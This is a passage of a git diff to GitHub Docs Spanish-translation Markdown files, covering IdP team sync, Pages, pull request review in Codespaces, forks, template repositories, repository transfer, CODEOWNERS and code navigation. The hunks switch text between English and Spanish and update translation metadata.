empresa](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)". -{% data reusables.scim.ghes-beta-note %} -{% endif %} +{% data reusables.scim.ghes-beta-note %} {% endif %} -## Connecting an IdP group to a team +## Conectar un grupo de IdP a tu equipo -When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %} +Cuando conectas un grupo de IdP a un equipo de {% data variables.product.product_name %}, todos los usuarios en el grupo se agregan automáticamente al equipo. {% ifversion ghae %}Cualquier usuario que no fuera un miembro de aquellos de la organización desde antes también se agregará a esta.{% endif %} -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{% ifversion ghec %} -6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups. - ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} -6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list. - ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} -7. Click **Save changes**. +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion ghec %} +6. Debajo de "Grupos del Proveedor de Identidad", utiliza el menú desplegable y selecciona hasta 5 grupos del proveedor de identidad. + ![Menú desplegable para elegir grupos de proveedores de identidades](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} +6. Debajo de "Grupo del Proveedor de Identidad", utiliza el menú desplegable y selecciona un grupo de proveedor de identidad de la lista. + ![Menú desplegable para elegir un grupo de proveedor de identidades](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} +7. Haga clic en **Guardar cambios**. -## Disconnecting an IdP group from a team +## Desconectar un grupo de IdP de un equipo -If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %} +Si desconectas un grupo de IdP de un equipo de {% data variables.product.prodname_dotcom %}, los miembros de este equipo que fueran asignados al equipo {% data variables.product.prodname_dotcom %} a través del grupo de IdP se eliminarán de dicho equipo. {% ifversion ghae %} Cualquier usuario que fuera miembro de la organización padre únicamente debido a esa conexión de equipo también se eliminará de la organización.{% endif %} -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{% ifversion ghec %} -6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. - ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} -6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. - ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} -7. Click **Save changes**. +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion ghec %} +6. Debajo de "Grupos del Proveedor de Identidad", a la derecha del grupo de IdP que quieras desconectar, da clic en {% octicon "x" aria-label="X symbol" %}. + ![Anulación de la selección de un grupo de IdP conectado desde el equipo de GitHub](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} +6. Debajo de "Grupo del Proveedor de Identidad", a la derecha del grupo de IdP que quieras desconectar, da clic en {% octicon "x" aria-label="X symbol" %}. + ![Anulación de la selección de un grupo de IdP conectado desde el equipo de GitHub](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} +7. Haga clic en **Guardar cambios**. diff --git a/translations/es-ES/content/pages/index.md b/translations/es-ES/content/pages/index.md index 19adbee123..3a1fc42402 100644 --- a/translations/es-ES/content/pages/index.md +++ b/translations/es-ES/content/pages/index.md @@ -1,7 +1,7 @@ --- -title: GitHub Pages Documentation +title: Documentación de GitHub Pages shortTitle: GitHub Pages -intro: 'Learn how to create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. Explore website building tools like Jekyll and troubleshoot issues with your {% data variables.product.prodname_pages %} site.' +intro: 'Descubre cómo crear un sitio web directamente desde un repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. Explora herramientas de creación de sitios web como Jekyll y soluciona problemas con el sitio de {% data variables.product.prodname_pages %}.' introLinks: quickstart: /pages/quickstart overview: /pages/getting-started-with-github-pages/about-github-pages @@ -49,5 +49,11 @@ children: - /getting-started-with-github-pages - /setting-up-a-github-pages-site-with-jekyll - /configuring-a-custom-domain-for-your-github-pages-site +ms.openlocfilehash: 0c054dd363dca81ef322d21538076959b9b0cbf4 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107081' --- diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md index 32a3feaa26..0983d49c96 100644 --- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md +++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md @@ -55,7 +55,22 @@ Before you submit your review, your line comments are _pending_ and only visible You can use [{% data variables.product.prodname_github_codespaces %}](/codespaces/overview) to test, run, and review pull requests. -{% data reusables.codespaces.review-pr %} +1. Open the pull request in a codespace, as described in "[Opening a pull request](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)." +1. In the Activity Bar, click the **GitHub Pull Request** view. This view only appears when you open a pull request in a codespace. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/github-pr-view.png) + +1. To review a specific file, click the **Open File** icon in the Side Bar. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/changes-in-files.png) + +1. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/start-review.png) + +1. When you are finished adding review comments, from the Side Bar you can choose to either submit the comments, approve the changes, or request changes. + + ![Option to open PR in a codespace](/assets/images/help/codespaces/submit-review.png) For more information on reviewing pull requests in {% data variables.product.prodname_github_codespaces %}, see "[Using {% data variables.product.prodname_github_codespaces %} for pull requests](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests)." diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md index a881dd52d4..d167d9caa8 100644 --- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md +++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md @@ -23,7 +23,7 @@ Forking a repository is similar to copying a repository, with two major differen {% ifversion fpt or ghec %} -If you're a member of a {% data variables.enterprise.prodname_emu_enterprise %}, there are further restrictions on the repositories you can fork. {% data reusables.enterprise-accounts.emu-forks %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, there are further restrictions on the repositories you can fork. {% data reusables.enterprise-accounts.emu-forks %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} {% endif %} diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md index 76260fbdbf..a66e99ee9a 100644 --- a/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md +++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md @@ -1,6 +1,6 @@ --- -title: Crear un repositorio desde una plantilla -intro: Puedes generar un nuevo repositorio con la misma estructura de directorio y los mismos archivos que un repositorio existente. +title: Creating a repository from a template +intro: You can generate a new repository with the same directory structure and files as an existing repository. redirect_from: - /articles/creating-a-repository-from-a-template - /github/creating-cloning-and-archiving-repositories/creating-a-repository-from-a-template @@ -13,37 +13,45 @@ versions: topics: - Repositories shortTitle: Create from a template -ms.openlocfilehash: 8f2ba1bcda417f3202e0c43c693afe50434130ec -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '145136920' --- -## Acerca de las plantillas de repositorio +## About repository templates -Cualquier usuario con permisos de lectura para un repositorio de plantillas puede crear un repositorio a partir de esa plantilla. Para obtener más información, consulte "[Creación de un repositorio de plantillas](/articles/creating-a-template-repository)". +Anyone with read permissions to a template repository can create a repository from that template. For more information, see "[Creating a template repository](/articles/creating-a-template-repository)." {% tip %} -**Sugerencia**: También puede crear un repositorio a partir de una plantilla con {% data variables.product.prodname_cli %}. Para obtener más información, consulte "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" en la documentación de {% data variables.product.prodname_cli %}. +**Tip**: You can also create a repository from a template using the {% data variables.product.prodname_cli %}. For more information, see "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" in the {% data variables.product.prodname_cli %} documentation. {% endtip %} -Puedes elegir incluir la estructura de directorio y archivos únicamente desde la rama predeterminada del repositorio plantilla o incluir todas las ramas. Las ramas que se creen a partir de una plantilla tienen historiales sin relación, lo cual significa que no puedes crear solicitudes de cambio ni hacer fusiones entre las ramas. +You can choose to include the directory structure and files from only the default branch of the template repository or to include all branches. Branches created from a template have unrelated histories, which means you cannot create pull requests or merge between the branches. -Crear un repositorio a partir de una plantilla es similar a bifurcar un repositorio, pero existen algunas diferencias importantes: -- Una nueva bifurcación incluye todo el historial de confirmaciones del repositorio padre, mientras que un repositorio creado a partir de una plantilla comienza con una única confirmación. -- Las confirmaciones en una bifurcación no aparecen en tu gráfico de contribuciones, mientras que las confirmaciones en un repositorio creado a partir de una plantilla sí se muestran en tu gráfico de contribuciones. -- Una bifurcación puede ser una forma temporaria de contribuir código a un proyecto existente, mientras que crear un repositorio a partir de una plantilla permite iniciar rápidamente un proyecto nuevo. +Creating a repository from a template is similar to forking a repository, but there are important differences: +- A new fork includes the entire commit history of the parent repository, while a repository created from a template starts with a single commit. +- Commits to a fork don't appear in your contributions graph, while commits to a repository created from a template do appear in your contribution graph. +- A fork can be a temporary way to contribute code to an existing project, while creating a repository from a template starts a new project quickly. -Para obtener más información sobre las bifurcaciones, vea "[Acerca de las bifurcaciones](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)". +For more information about forks, see "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)." -## Crear un repositorio desde una plantilla +## Creating a repository from a template {% data reusables.repositories.navigate-to-repo %} -2. Encima de la lista de archivos, haga clic en **Use this template** (Usar esta plantilla). - ![Botón Usar esta plantilla](/assets/images/help/repository/use-this-template-button.png) {% data reusables.repositories.owner-drop-down %} {% data reusables.repositories.repo-name %} {% data reusables.repositories.choose-repo-visibility %} -6. De manera opcional, para incluir la estructura de directorios y los archivos de todas las ramas en la plantilla, y no únicamente aquellos de la rama predeterminada, seleccione **Include all branches** (Incluir todas las ramas). - ![Casilla para incluir todas las ramas](/assets/images/help/repository/include-all-branches.png) {% data reusables.repositories.select-marketplace-apps %} -8. Haga clic en **Create repository from template** (Crear repositorio a partir de plantilla). +1. Above the file list, click **Use this template**. +{% ifversion fpt or ghec %} +1. Select **Create a new repository**. + + ![Use this template button](/assets/images/help/repository/use-this-template-button.png) + + {% note %} + + **Note:** Alternatively, you can open the template in a codespace and publish your work to a new repository later. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)." + + {% endnote %} +{% endif %} +{% data reusables.repositories.owner-drop-down %} +{% data reusables.repositories.repo-name %} +{% data reusables.repositories.choose-repo-visibility %} +1. Optionally, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**. + ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png) +{% data reusables.repositories.select-marketplace-apps %} +8. Click **Create repository from template**. diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md index ca7dd28f84..85a6ef7f2b 100644 --- a/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md +++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md @@ -33,6 +33,9 @@ Prerequisites for repository transfers: - The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghes < 3.7 or ghae %} - Internal repositories can't be transferred.{% endif %} - Private forks can't be transferred. +{%- ifversion ghec %} +- You cannot transfer an internal repository from an organization owned by one enterprise account to an organization owned by a different enterprise account. +{%- endif %} {% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md index d3212418a8..a7c0c14472 100644 --- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md +++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md @@ -1,6 +1,6 @@ --- -title: About code owners -intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository. +title: Acerca de los propietarios de código +intro: Puedes usar un archivo CODEOWNERS para definir individuos o equipos que sean responsables del código en un repositorio. redirect_from: - /articles/about-codeowners - /articles/about-code-owners @@ -14,59 +14,63 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: 3b6822be6551d43b3af55220ac8f39deec8be1df +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106841' --- -People with admin or owner permissions can set up a CODEOWNERS file in a repository. +Las personas con permisos administrativos o de propietario pueden configurar un archivo CODEOWNERS en un repositorio. -The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. +Las personas que elijas como propietarios del código deben tener permisos de escritura para el repositorio. Cuando el propietario del código es un equipo, ese equipo debe ser visible y tener permisos de escritura, incluso si todos los miembros individuales del equipo ya tienen permisos de escritura, a través de la membresía de la organización o a través de la membresía de otro equipo. -## About code owners +## Acerca de los propietarios de código -Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)." +Cuando alguien abre una solicitud de extracción que modifica el código que pertenece a alguien, automáticamente se les solicita una revisión a los propietarios del mismo. Lo que no se solicita automáticamente a estos propietarios es la revisión de los borradores de solicitudes de extracción. Para más información sobre el borrador de solicitudes de incorporación de cambios, vea "[Acerca de las solicitudes de incorporación de cambios](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)". Se notificará automáticamente a los dueños del código cuando marques un borrador de solicitud de extracción como listo para revisión. Si conviertes una solicitud de extracción en borrador, las personas que ya estén suscritas a las notificaciones no se darán de baja automáticamente. Para más información, vea "[Cambio de la fase de una solicitud de incorporación de cambios](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)". -When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)." +Cuando alguien con permisos administrativos o de propietario ha activado las revisiones requeridas, opcionalmente, también pueden solicitar aprobación de un propietario del código antes de que el autor pueda fusionar una solicitud de extracción en el repositorio. Para más información, vea "[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)". -If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}. +Si un archivo tiene un propietario del código, puedes ver quién es éste antes de que abras una solicitud de extracción. Puede buscar el archivo en el repositorio y pasar el puntero por {% octicon "shield-lock" aria-label="The edit icon" %}. -![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png) +![Dueño del código de un archivo en un repositorio](/assets/images/help/repository/code-owner-for-a-file.png) -## CODEOWNERS file location +## Ubicación del archivo CODEOWNERS -To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners. +Para usar un archivo CODEOWNERS, cree un nuevo archivo denominado `CODEOWNERS` en el directorio raíz, `docs/`, o `.github/` del repositorio, en la rama donde desea agregar los propietarios del código. -Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch. +Cada archivo CODEOWNERS asigna los propietarios del código para una única rama en el repositorio. Por lo tanto, puede asignar diferentes propietarios de código para diferentes ramas, como `@octo-org/codeowners-team` para una base de código en la rama predeterminada y `@octocat` para un sitio de {% data variables.product.prodname_pages %} en la rama `gh-pages`. -For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`. +Para que los propietarios del código reciban las solicitudes de revisión, el archivo CODEOWNERS debe estar en la rama base de la solicitud de extracción. Por ejemplo, si asigna `@octocat` como propietario del código para los archivos *.js* en la rama `gh-pages` del repositorio, `@octocat` recibirá solicitudes de revisión cuando se abra una solicitud de incorporación de cambios con cambios en los archivos *.js* archivos entre la rama principal y `gh-pages`. -## CODEOWNERS file size +## Tamaño de archivo de CODEOWNERS -CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. +Los archivos de CODEOWNERS deben ser de menos de 3 MB. Un archivo de CODEOWNERS que sobrepase este límite no se cargará, lo cual significa que la información de los propietarios de código no se mostrará y que no se solicitará que los propietarios de código adecuados revisen los cambios en una solicitud de cambios. -To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. +Para reducir el tamaño de tu archivo de CODEOWNERS, considera utilizar patrones de comodín para consolidar varias entradas en una. -## CODEOWNERS syntax +## Sintáxis de CODEOWNERS {% warning %} -**Warning:** There are some syntax rules for gitignore files that *do not work* in CODEOWNERS files: -- Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment -- Using `!` to negate a pattern -- Using `[ ]` to define a character range +**Advertencia:** Hay algunas reglas de sintaxis para los archivos de gitignore que *no funcionan* con los archivos de CODEOWNERS: +- Agregar un carácter de escape a un patrón que comience por `#` utilizando `\` para que se le trate como un patrón y no como un comentario +- Usar `!` para negar un patrón +- Usar `[ ]` para definir un intervalo de caracteres {% endwarning %} -A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files. The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users and teams must have explicit `write` access to the repository, even if the team's members already have access. +Un archivo CODEOWNERS usa un patrón que sigue casi todas las mismas reglas que se usan en los archivos [gitignore](https://git-scm.com/docs/gitignore#_pattern_format). El patrón va seguido de uno o varios nombres de usuario o de equipo de {% data variables.product.prodname_dotcom %} con el formato estándar `@username` o `@org/team-name`. Los usuarios y los equipos deben tener acceso explícito de `write` al repositorio aunque los miembros del equipo ya tengan acceso. -{% ifversion fpt or ghec%}In most cases, you{% else %}You{% endif %} can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, for example `user@example.com`. {% ifversion fpt or ghec %} You cannot use an email address to refer to a {% data variables.enterprise.prodname_managed_user %}. For more information about {% data variables.enterprise.prodname_managed_users %}, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} +{% ifversion fpt or ghec%}En la mayoría de los casos, {% else %}{% endif %} también puedes hacer referencia a un usuario por la dirección de correo electrónico que se ha agregado a su cuenta en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, por ejemplo `user@example.com`. {% ifversion fpt or ghec %} No puedes usar una dirección de correo electrónico para hacer referencia a una {% data variables.enterprise.prodname_managed_user %}. Para obtener más información sobre las {% data variables.enterprise.prodname_managed_users %}, consulta "[Acerca de los {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}{% endif %} -CODEOWNERS paths are case sensitive, because {% data variables.product.prodname_dotcom %} uses a case sensitive file system. Since CODEOWNERS are evaluated by {% data variables.product.prodname_dotcom %}, even systems that are case insensitive (for example, macOS) must use paths and files that are cased correctly in the CODEOWNERS file. +Las rutas de CODEOWNERS distinguen entre mayúsculas y minúsculas, ya que {% data variables.product.prodname_dotcom %} utiliza un sistema de archivos que también lo hace. Ya que {% data variables.product.prodname_dotcom %} evalúa a los CODEOWNERS, incluso los sistemas que distinguen entre mayúsculas y minúsculas (por ejemplo, macOS) deben utilizar rutas y archivos que utilicen mayúsculas y minúsculas correctamente en el archivo de CODEOWNERS. -{% ifversion codeowners-errors %} -If any line in your CODEOWNERS file contains invalid syntax, that line will be skipped. When you navigate to the CODEOWNERS file in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can see any errors highlighted. A list of errors in a repository's CODEOWNERS file is also accessible via the API. For more information, see "[Repositories](/rest/reference/repos#list-codeowners-errors)" in the REST API documentation. -{% else %} -If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews. +{% ifversion codeowners-errors %} Si alguna línea del archivo CODEOWNERS contiene una sintaxis inválida, dicha línea se omitirá. Cuando navegas al archivo de CODEOWNERS en tu repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, puedes ver todos los errores resaltados. También se puede acceder a una lista de los errores del archivo CODEOWNERS de cualquier repositorio a través de la API. Para obtener más información, consulte "[Repositorios](/rest/reference/repos#list-codeowners-errors)" en la documentación de la API de REST. +{% else %} Si cualquier línea del archivo CODEOWNERS contiene una sintaxis inválida, el archivo no se detectará y no se utilizará para solicitar revisiones. {% endif %} -### Example of a CODEOWNERS file +### Ejemplo de un archivo CODEOWNERS ``` # This is a comment. # Each line is a file pattern followed by one or more owners. @@ -124,13 +128,13 @@ apps/ @octocat /apps/github ``` -## CODEOWNERS and branch protection -Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." +## Protección de rama y de CODEOWNERS +Los propietarios de los repositorios pueden agregar reglas de protección de rama para asegurarse de que los propietarios de los archivos que se modificaron revisen el código que cambió. Para más información, vea "[Acerca de las ramas protegidas](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)". -## Further reading +## Información adicional -- "[Creating new files](/articles/creating-new-files)" -- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)" -- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)" -- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" -- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)" +- "[Creación de archivos](/articles/creating-new-files)" +- "[Invitación a colaboradores a un repositorio personal](/articles/inviting-collaborators-to-a-personal-repository)" +- "[Administración del acceso de un individuo a un repositorio de la organización](/articles/managing-an-individual-s-access-to-an-organization-repository)" +- "[Administración del acceso de equipo a un repositorio de la organización](/articles/managing-team-access-to-an-organization-repository)" +- "[Ver una revisión de solicitud de incorporación de cambios](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)" diff --git a/translations/es-ES/content/repositories/working-with-files/managing-files/index.md b/translations/es-ES/content/repositories/working-with-files/managing-files/index.md index cfa3b63ecb..4c5ffbc5a2 100644 --- a/translations/es-ES/content/repositories/working-with-files/managing-files/index.md +++ b/translations/es-ES/content/repositories/working-with-files/managing-files/index.md @@ -20,11 +20,12 @@ children: - /renaming-a-file - /deleting-files-in-a-repository - /customizing-how-changed-files-appear-on-github -ms.openlocfilehash: 2557443afe3b3d76b2738dfcfaafbf51e47b680e -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a + - /navigating-files-with-the-new-code-view +ms.openlocfilehash: 4c2a28474175d11d29f78d41a281f4072485eb62 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147881473' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159883' --- diff --git a/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md index e03996df79..1a8b73aa8a 100644 --- a/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md +++ b/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md @@ -1,6 +1,6 @@ --- -title: Código de navegación en GitHub -intro: 'Puedes comprender las relaciones dentro y a través de los repositorios al navegar directamente por código en {% data variables.product.product_name %}.' +title: Navigating code on GitHub +intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.' redirect_from: - /articles/navigating-code-on-github - /github/managing-files-in-a-repository/navigating-code-on-github @@ -10,24 +10,18 @@ versions: ghec: '*' topics: - Repositories -ms.openlocfilehash: becb68c2813f1e6914edb34b235ac59aba8ae00b -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '145136458' --- -## Acerca de la navegación de código en {% data variables.product.prodname_dotcom %} +## About navigating code on {% data variables.product.prodname_dotcom %} -La navegación de código te ayuda a leer, navegar y entender el código al mostrarte y enlazar las definiciones de una entidad nombrada que corresponda a la referencia de la misma, así como mostrando referencias que corresponden a la definición de dicha entidad. +Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition. -![Pantalla de navegación de código](/assets/images/help/repository/code-navigation-popover.png) +![Code navigation display](/assets/images/help/repository/code-navigation-popover.png) -La navegación por el código usa la biblioteca de código abierto [`tree-sitter`](https://github.com/tree-sitter/tree-sitter). Los siguientes lenguajes y estrategias de navegación son compatibles: +Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages and navigation strategies are supported: -| Idioma | Navegación de código basada en la búsqueda | Navegación de código precisa | +| Language | Search-based code navigation | Precise code navigation | |:----------:|:----------------------------:|:-----------------------:| | C# | ✅ | | | CodeQL | ✅ | | @@ -41,43 +35,49 @@ La navegación por el código usa la biblioteca de código abierto [`tree-sitter | TypeScript | ✅ | | -No necesitas configurar nada en tu repositorio para habilitar la navegación de código. Extraeremos información de navegación de código precisa y basada en búsquedas automáticamente para estos lenguajes compatibles en todos los repositorios y puedes cambiar entre estos dos acercamientos compatibles de navegación de código si tu lenguaje de programación es compatible con ambos. +You do not need to configure anything in your repository to enable code navigation. We will automatically extract search-based and precise code navigation information for these supported languages in all repositories and you can switch between the two supported code navigation approaches if your programming language is supported by both. -{% data variables.product.prodname_dotcom %} ha desarrollado dos enfoques de navegación por el código basados en las bibliotecas de código abierto [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) y [`stack-graphs`](https://github.com/github/stack-graphs): - - 